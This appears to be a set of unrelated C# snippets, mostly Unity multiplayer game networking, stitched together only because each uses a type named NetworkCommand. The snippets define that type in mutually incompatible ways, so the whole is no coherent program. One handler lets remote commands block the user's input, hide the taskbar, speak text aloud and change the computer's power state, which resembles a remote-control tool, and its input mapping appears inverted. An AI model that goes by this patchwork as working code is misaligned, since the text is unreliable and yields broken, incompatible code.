private void OnExplodeResult(NetworkCommand cmd)
{
var cmdExplodeResult = cmd as ExplodeResultCommand;
if (cmdExplodeResult.DamagedEnemyID == this.EnemyInfo.EnemyID)
{
var damage = this.EnemyInfo.Hp - cmdExplodeResult.Hp;
this.EnemyInfo.Hp = cmdExplodeResult.Hp;
m_animator.SetBool("Damaged", true);
// update ui
MessageDispacher.Instance.Send(UIMessage.EnmeyDamaged, new EnemyDamageMessage()
{
EnemyID = this.EnemyInfo.EnemyID,
Damage = damage,
});
MessageDispacher.Instance.Send(UIMessage.UpdateEnemyHpSlider, new EnemyHpUpdateMessage()
{
EnemyID = this.EnemyInfo.EnemyID,
Progress = (float)this.EnemyInfo.Hp / this.EnemyInfo.MaxHp,
});
MessageDispacher.Instance.Send(AudioMessage.PlayExplode, null);
}
}
/// <summary>
/// Registers a message handler to the collection of handlers.
/// </summary>
/// <param name="command">The command being handled.</param>
/// <param name="method">The method to invoke.</param>
public static void Store(NetworkCommand command, NetworkMessageHandlerMethod method)
{
if (!Handlers.ContainsKey(command))
{
Handlers.Add(command, method);
}
}
private void OnGunShootResult(NetworkCommand cmd)
{
var cmdGunShootResult = cmd as GunShootResultCommand;
if (cmdGunShootResult.EnemyID == this.EnemyInfo.EnemyID && cmdGunShootResult.IsHit)
{
var damage = this.EnemyInfo.Hp - cmdGunShootResult.EnemyHp;
this.EnemyInfo.Hp = cmdGunShootResult.EnemyHp;
m_animator.SetBool("Damaged", true);
// Debug.Log($"enmey {this.EnemyInfo.EnemyID} hit, hp {this.EnemyInfo.Hp}");
// update ui
MessageDispacher.Instance.Send(UIMessage.EnmeyDamaged, new EnemyDamageMessage()
{
EnemyID = this.EnemyInfo.EnemyID,
Damage = damage,
});
MessageDispacher.Instance.Send(UIMessage.UpdateEnemyHpSlider, new EnemyHpUpdateMessage
{
EnemyID = this.EnemyInfo.EnemyID,
Progress = (float)this.EnemyInfo.Hp / this.EnemyInfo.MaxHp,
});
MessageDispacher.Instance.Send(AudioMessage.PlayEnemyShooting, null);
}
}
private void OnDebuffDamageResult(NetworkCommand cmd)
{
var cmdDamageResult = cmd as EnemyDebuffDamagedResultCommand;
if (cmdDamageResult.EnmeyID == this.EnemyInfo.EnemyID)
{
var damage = this.EnemyInfo.Hp - cmdDamageResult.Hp;
this.EnemyInfo.Hp = cmdDamageResult.Hp;
m_animator.SetBool("Damaged", true);
// update ui
MessageDispacher.Instance.Send(UIMessage.EnmeyDamaged, new EnemyDamageMessage()
{
EnemyID = this.EnemyInfo.EnemyID,
Damage = damage,
});
MessageDispacher.Instance.Send(UIMessage.UpdateEnemyHpSlider, new EnemyHpUpdateMessage()
{
EnemyID = this.EnemyInfo.EnemyID,
Progress = (float)this.EnemyInfo.Hp / this.EnemyInfo.MaxHp,
});
m_debuffDamageTimeCount = EnemyConfigure.DebuffDamageInterval;
m_waitDebuffDamage = false;
}
}
public void OnDataRecieved(object[] data)
{
NetworkCommand command = (NetworkCommand)data[0];
if (command == NetworkCommand.AllowInput)
{
MiscHandler.BlockInput(true);
}
if (command == NetworkCommand.BlockInput)
{
MiscHandler.BlockInput(false);
}
if (command == NetworkCommand.ShowTasbar)
{
MiscHandler.ShowTasktray(true);
}
if (command == NetworkCommand.HideTaskbar)
{
MiscHandler.ShowTasktray(false);
}
if (command == NetworkCommand.TextToSpeech)
{
MiscHandler.TextToSpeech((string)data[1], (int)data[2]);
}
if (command == NetworkCommand.ComputerPower)
{
MiscHandler.ComputerPower((string)data[1], (int)data[2]);
}
}
public void SendCommand(NetworkCommand command, long parameter1)
{
byte[] flux = new byte[12];
BitConverter.GetBytes((int)command).CopyTo(flux, 0);
BitConverter.GetBytes(parameter1).CopyTo(flux, 4);
this.SendBytes(flux);
}
/// <summary>
/// remove command
/// </summary>
/// <param name="_command">network command</param>
public void removeCommmand(NetworkCommand _command)
{
if (_cleintCommands.Contains(_command)) // <-- can be removed???
{
_cleintCommands.Remove(_command);
}
}
/// <summary>
/// add new command
/// </summary>
/// <param name="_command">network command</param>
public void addCommand(NetworkCommand _command)
{
if (!_cleintCommands.Contains(_command)) // <-- can be removed???
{
_cleintCommands.Add(_command);
}
}
/// <summary>
/// constructor
/// </summary>
public NetworkHandler()
{
_serverCommands = new List <NetworkCommand>();
_cleintCommands = new List <NetworkCommand>();
_serverQuit = new NetworkCommand("S:QUIT", (x) => {
Environment.Exit(1); // temp
});
_serverInit = new NetworkCommand("S:INIT", (x) => {
networkID = int.Parse(x[0]);
OnInitialized(networkID);
//_serverConnect.send(networkID.ToString());
});
_serverDisconectHost = new NetworkCommand("S:NOHOST", (x) => {
OnLostConnectionToHost.Invoke();
});
_serverSyncConnection = new NetworkCommand("S:SYNC", (x) => { // call the request resync callback
OnResyncRequest?.Invoke(int.Parse(x[0]));
});
_serverSyncRequest = new NetworkCommand("S:RSYNC", (x) => { // send resync request to all clients but [id] (only host can do this)
//resyncClient(int.Parse(x[0]));
if (isHost())
{
ClientConnection[] clients = NetworkManager.getInstance().getClientConnections();
int length = clients.Length;
for (int i = 0; i < length; i++)
{
if (clients[i].networkID != int.Parse(x[0]))
{
NetworkManager.getInstance().sendTargetCommand(clients[i].networkID, _serverSyncConnection, x);
}
}
if (-1 != int.Parse(x[0]))
{
OnResyncRequest?.Invoke(int.Parse(x[0]));
}
}
});
_serverConnect = new NetworkCommand("S:CONNECT", (x) => {
OnClientDisconection?.Invoke(int.Parse(x[0]));
});
_serverDisconnect = new NetworkCommand("S:DISCONNECT", (x) => {
OnClientDisconection?.Invoke(int.Parse(x[0]));
});
_serverCommands.Add(_serverQuit);
_serverCommands.Add(_serverInit);
_serverCommands.Add(_serverDisconectHost);
_serverCommands.Add(_serverSyncConnection);
_serverCommands.Add(_serverSyncRequest);
_serverCommands.Add(_serverConnect);
_serverCommands.Add(_serverDisconnect);
}
internal void SendPieceSyncCommands
(string matchId, string accountId, int playerSlot, GamePiece piece)
{
string cmd = string.Format("{0}{1}{2}{1}{3}{1}{4}{1}{5}{1}{6}{1}{7}{1}{8}{1}{9}{1}{10}{1}{11}{1}{12}{1}{13}{1}{14}",
(int)ReadProtocol.GetVersion(),
m_SegmentTerminator,
NetworkCommand.GetCommand(NetworkCommandType.SyncGamePiece),
matchId,
accountId,
playerSlot,
piece.NetworkIdentity,
piece.GamePieceName,
piece.BoardVector.x,
piece.BoardVector.y,
piece.CurrentHitPoints,
piece.DefenseRating,
piece.AttackRating,
piece.TurnDelay,
(int)piece.gameObject.transform.rotation.eulerAngles.y);
Debug.Log("Sending: " + cmd);
SendData(cmd);
cmd = string.Format("{0}{1}{2}{1}{3}{1}{4}",
(int)ReadProtocol.GetVersion(),
m_SegmentTerminator,
NetworkCommand.GetCommand(NetworkCommandType.EndGamePieceSync),
matchId,
accountId);
Debug.Log("Sending: " + cmd);
SendData(cmd);
}
private async Task VerifyPermission(NetworkConnection connection, NetworkCommand command, INetworkClient client)
{
if (!await connection.Permissions.IsPermittedOnClient(command, client))
{
throw new NetworkException(NetworkException.NetworkExceptionType.NotPermitted);
}
}
public static NetworkCommandBinding From <TRequest, TResponse>(NetworkCommandType source, NetworkCommandHandler <TRequest, TResponse> handler)
where TRequest : NetworkCommand where TResponse : NetworkCommand
{
switch (source)
{
// Request that are from client are handled as requests on the master.
case NetworkCommandType.FromClient:
return(new NetworkCommandBinding()
{
CommandInternalType = NetworkCommand.CommandTypeFor(typeof(TRequest)),
_deserializeRequest = JsonUtility.FromJson <TRequest>,
_handleRequest = async(net, clientId, command) => await handler.ProcessRequestOnMaster(net as INetworkMaster, command as TRequest, clientId),
});
// Request that are from master are handled as requests on the client.
case NetworkCommandType.FromMaster:
return(new NetworkCommandBinding()
{
CommandInternalType = NetworkCommand.CommandTypeFor(typeof(TRequest)),
_deserializeRequest = JsonUtility.FromJson <TRequest>,
_handleRequest = async(net, clientId, command) => await handler.ProcessRequestOnClient(net as INetworkClient, command as TRequest)
});
default:
throw new ArgumentOutOfRangeException(nameof(source), source, null);
}
}
private void Dispatch(NetWorkCommandType type, NetworkCommand cmd)
{
if (m_callbackMap.ContainsKey(type))
{
m_callbackMap[type].Invoke(cmd);
}
}
private async Task VerifyPermission(NetworkConnection connection, NetworkCommand command, INetworkMaster master, string fromClientId)
{
if (!await connection.Permissions.IsPermittedOnMaster(command, master, fromClientId))
{
throw new NetworkException(NetworkException.NetworkExceptionType.NotPermitted);
}
}
private void OnShootResult(NetworkCommand cmd)
{
var cmdShoot = cmd as ShootResultCommand;
if (TankInfo.Instance.DriverID == PlayerInfo.LocalPlayer.UserID)
{
m_waitForResult = false;
var cmdShootResult = cmd as ShootResultCommand;
// play se
MessageDispacher.Instance.Send(AudioMessage.PlayPlayerShooting, null);
for (int i = 0; i < m_bulletInfoBuffer.Count; ++i)
{
if (m_bulletInfoBuffer[i].Type == BulletType.TankShell)
{
var gameObj = GameObject.Instantiate(this.m_bullet,
m_bulletPositionBuffer[i],
Quaternion.AngleAxis(360.0f * m_bulletRotationBuffer[i],
Vector3.up));
var scriptComp = gameObj.GetComponent <BulletController>();
scriptComp.BulletInfo = m_bulletInfoBuffer[i];
}
}
m_reloadDuration = PlayerConfigure.BigSkillCoolDownDuration;
}
}
public PacketFlowMessage Map(int senderID, int senderType, NetworkCommand command)
{
return(new PacketFlowMessage()
{
senderID = senderID,
senderType = senderType,
payloadType = command.Match(
agn => (int)TransportCommandPayloadType.AddGatewayNode,
arn => (int)TransportCommandPayloadType.AddRouterNode,
acn => (int)TransportCommandPayloadType.AddConsumerNode,
ln => (int)TransportCommandPayloadType.LinkNodes,
ap => (int)TransportCommandPayloadType.AddPacket,
iptd => (int)TransportCommandPayloadType.IncrementPacketTypeDirection,
pnq => (int)TransportCommandPayloadType.ProcessNodeQueue,
ct => (int)TransportCommandPayloadType.CompleteTransmission
),
payload = JsonUtility.ToJson(
command.Match(
agn => GetPayloadForAddGatewayNodeCommand(agn),
arn => GetPayloadForAddRouterNodeCommand(arn),
acn => GetPayloadForAddConsumerNodeCommand(acn),
ln => GetPayloadForLinkNodesCommand(ln),
ap => GetPayloadForAddPacketCommand(ap),
iptd => GetPayloadForIncrementPacketTypeDirectionCommand(iptd),
pnq => GetPayloadForProcessNodeQueueCommand(pnq),
ct => GetPayloadForCompleteTransmissionCommand(ct)
)
)
});
}
public NetworkCommandConnection Translate(NetIncomingMessage input)
{
if (input == null)
{
return(null);
}
var tzeMessisch = input.ReadString();
if (string.IsNullOrWhiteSpace(tzeMessisch))
{
return(null);
}
NetworkCommand networkCommand = IncomingMessageTranslator.Translate(tzeMessisch);
//Console.WriteLine(networkCommand.Data);
NetworkCommandConnection networkCommandConnection = new NetworkCommandConnection();
//Conversion to network command on server
networkCommandConnection.Connection = input.SenderConnection;
networkCommandConnection.CommandArgument = networkCommand.CommandArgument;
networkCommandConnection.CommandName = networkCommand.CommandName;
networkCommandConnection.Data = networkCommand.Data;
return(networkCommandConnection);
}
private void OnDriveTankResult(NetworkCommand cmd)
{
var cmdDriveResult = cmd as DriveTankResultCommand;
// leave tank
if (cmdDriveResult.DriverID == 0xff)
{
if (TankInfo.Instance.DriverID == PlayerInfo.LocalPlayer.UserID)
{
MessageDispacher.Instance.Send(GameObjectMessage.ShowPlayer,
this.transform.position + this.m_body.transform.forward * 2.0f);
MessageDispacher.Instance.Send(UIMessage.UpdateHpUI, PlayerInfo.LocalPlayer.Hp / 1000.0f);
}
else
{
MessageDispacher.Instance.Send(GameObjectMessage.ShowPlayerSync,
this.transform.position + this.m_body.transform.forward * 2.0f);
}
TankInfo.Instance.DriverID = 0xff;
TankInfo.Instance.IsDriven = false;
m_shootSignCanvasObject.SetActive(false);
}
else
{
m_moveTravel.Clear();
MessageDispacher.Instance.Send(UIMessage.UpdateHpUI, TankInfo.Instance.Hp / 1000.0f);
m_shootSignCanvasObject.SetActive(true);
}
m_waitForResult = false;
}
/// <summary>
/// init fucnction
/// </summary>
public void init()
{
_onResync = new NetworkCommand("G:RSYNC", (x) => {
if (NetworkHandler.getInstance().isHost()) // <-- make format function for this or make sending data beter (sending arrays and formating them in Net)
{
int count = global.Count * 2 + 4; // id, count, local user, users[]
string[] data = new string[count];
data[0] = NetworkHandler.getInstance().networkID.ToString();
data[1] = (global.Count + 1).ToString();
data[2] = local.id.ToString();
data[3] = local.name;
int globalCount = 0;
for (int i = 4; i < count; i += 2)
{
data[i] = global[globalCount].id.ToString();
data[i + 1] = global[globalCount].name;
globalCount++;
}
Console.WriteLine("Resync send!!!!");
_onResync.send(data);
}
else
{
int count = int.Parse(x[1]) * 2 + 2;
for (int i = 2; i < count; i += 2)
{
OnConnect(int.Parse(x[i]), x[i + 1]);
OnPlayerJoin?.Invoke(x[i + 1]);
}
_onConnection.send(new string[2] {
local.id.ToString(), local.name
});
_onResync.disable();
}
}, true, true);
_onConnection = new NetworkCommand("G:NCON", (x) => {
int id = int.Parse(x[0]);
string cName = x[1];
for (int i = 0; i < global.Count; i++) // <-- might remove this (test it fam)
{
if (global[i].id == id)
{
return;
}
}
OnConnect(id, cName);
OnPlayerJoin?.Invoke(cName);
}, true, true);
_onResync.send(NetworkHandler.getInstance().networkID.ToString());
}
public NetworkTransform(Transform transform)
{
this.transform = transform;
updateTransformAction = new NetworkCommand <Action <TransformPayload> >(UpdateTransformData);
updateTransformAction.RunOnUpdate(new TransformPayload(this.transform));
}
public NetworkRigidbody2D(Rigidbody2D rigidbody)
{
this.rigidbody = rigidbody;
updateRigidbodyAction = new NetworkCommand <Action <Rigidbody2DPayload> >(UpdateRigidbodyData);
updateRigidbodyAction.RunOnUpdate(new Rigidbody2DPayload(this.rigidbody));
}
/// <summary>
/// Helper method to reduce duplicate LOC
/// </summary>
/// <param name="node">The node to send the message to</param>
/// <param name="command">The command</param>
/// <param name="payload">The payload that corresponds with the command</param>
public async Task SendMessageToNode(NetworkNode node, NetworkCommand command, ISerializableComponent payload)
{
IPEndPoint endpoint = node.DirectEndpoint ?? node.ListenEndpoint;
var msg = new Message(command.ToString(), payload);
await node.SendMessageAsync(msg);
_logger.LogDebug("Sent {0} message to node {1} on port {2}", command.ToString(), endpoint.Address.ToString(), endpoint.Port);
}
// Default constructor
public NetworkData(int playerId, NetworkCommand cmd, int argsInt1, int argsInt2, string msg)
{
PlayerId = playerId;
Command = cmd;
ArgsInt1 = argsInt1;
ArgsInt2 = argsInt2;
ArgsString = msg;
}
/// <summary>
/// Creates a new instance of the <see cref="NetworkMessage"/> class.
/// </summary>
/// <param name="command">The type of message.</param>
public NetworkMessage(NetworkCommand command)
{
stream = new MemoryStream();
writer = new BinaryWriter(stream);
Command = command;
Write((ushort)command);
}
private void Start()
{
networkTransform = new NetworkTransform(transform);
networkRigidbody = new NetworkRigidbody2D(GetComponent <Rigidbody2D>());
SendPayload = new NetworkCommand <Action <string, int> >(LocalSendPayload);
SpawnItself = new NetworkRequest <Action <string> >(LocalSpawnItself);
SpawnItself.Invoke("Spawn new class");
}
private void OnPlayerDie(NetworkCommand cmd)
{
var cmdDie = cmd as PlayerDieCommand;
if (cmdDie.PlayerID == this.PlayerInfo.UserID)
{
m_animator.SetBool("Death", true);
}
}
private void OnEnemyBulletHitResult(NetworkCommand cmd)
{
var cmdHit = cmd as EnemyBulletHitResultCommand;
if (cmdHit.PlayerID == this.PlayerInfo.UserID)
{
m_animator.SetBool("Damaged", true);
}
}
public void SendData(List <byte> buffer, NetworkDataType type, NetworkCommand command)
{
if (sendingTask != null && !sendingTask.IsCompleted)
{
return;
}
sendingTask = new Task(() => SendDataAsync(buffer, type, command));
sendingTask.Start(); sendingTask.Wait();
}
public void Send(NetworkCommand command)
{
if (!m_socket.Connected)
{
return;
}
m_commandWriteQueue.Enqueue(command);
}
// Start is called before the first frame update
async void Start()
{
Cursor.lockState = CursorLockMode.None;
Cursor.visible = true;
// Screen.fullScreen = false;
NetworkCommand.Initialize();
await m_networkService.Connect();
}
public void ChangeSpeed(Vector3 s)
{
//修改本地速度
speed = s;
//通知服务器修改本人速度
NetworkCommand.GetInstance().ExcudeCommand("NotifyChangeSpeed", new string[] { userName,
s.x.ToString(), s.y.ToString(), s.z.ToString(),
transform.position.x.ToString(), transform.position.y.ToString(), transform.position.z.ToString() });//不使用s.ToString()防止产生小括号到参数
}
/// <summary>
/// Send a packet to the server
/// </summary>
private void SendPacket(NetworkCommand cmd, int int1, int int2, string message)
{
NetworkData data = new NetworkData(LocalPlayerId, cmd, int1, int2, message);
byte[] packet = data.ToByte();
client.Send(packet, packet.Length);
}
private void SendPacket(NetworkCommand cmd)
{
SendPacket(cmd, 0, 0, "");
}
private void SendPacket(NetworkCommand cmd, int int1, int int2)
{
SendPacket(cmd, int1, int2, "");
}
private void SendToOneClient(int playerId, NetworkCommand cmd, string message)
{
SendToOneClient(playerId, cmd, 0, 0, message);
}
private void SendToOneClient(int playerId, NetworkCommand cmd, int int1, int int2)
{
SendToOneClient(playerId, cmd, int1, int2, "");
}
private void SendToOneClient(int playerId, NetworkCommand cmd)
{
SendToOneClient(playerId, cmd, 0, 0, "");
}
/// <summary>
/// Send a packet to only one player
/// </summary>
private void SendToOneClient(int playerId, NetworkCommand cmd, int int1, int int2, string message)
{
try
{
// Send back to all clients, but only the playerId will process it (TODO: may be improved)
NetworkData backData = new NetworkData(playerId, cmd, int1, int2, message);
byte[] d = backData.ToByte();
multicaster.Send(d, d.Length, remoteIpEP);
}
catch { }
}
private void SendMulticast(NetworkCommand cmd, string message)
{
SendMulticast(cmd, 0, 0, message);
}
private void SendMulticast(NetworkCommand cmd, int int1, int int2)
{
SendMulticast(cmd, int1, int2, "");
}
private void SendMulticast(NetworkCommand cmd)
{
SendMulticast(cmd, 0, 0, "");
}
/// <summary>
/// Send a packet to all players
/// </summary>
private void SendMulticast(NetworkCommand cmd, int int1, int int2, string message)
{
try
{
// Send back to all clients
NetworkData backData = new NetworkData(0, cmd, int1, int2, message);
byte[] d = backData.ToByte();
multicaster.Send(d, d.Length, remoteIpEP);
}
catch { }
}
private void SendPacket(NetworkCommand cmd, string message)
{
SendPacket(cmd, 0, 0, message);
}
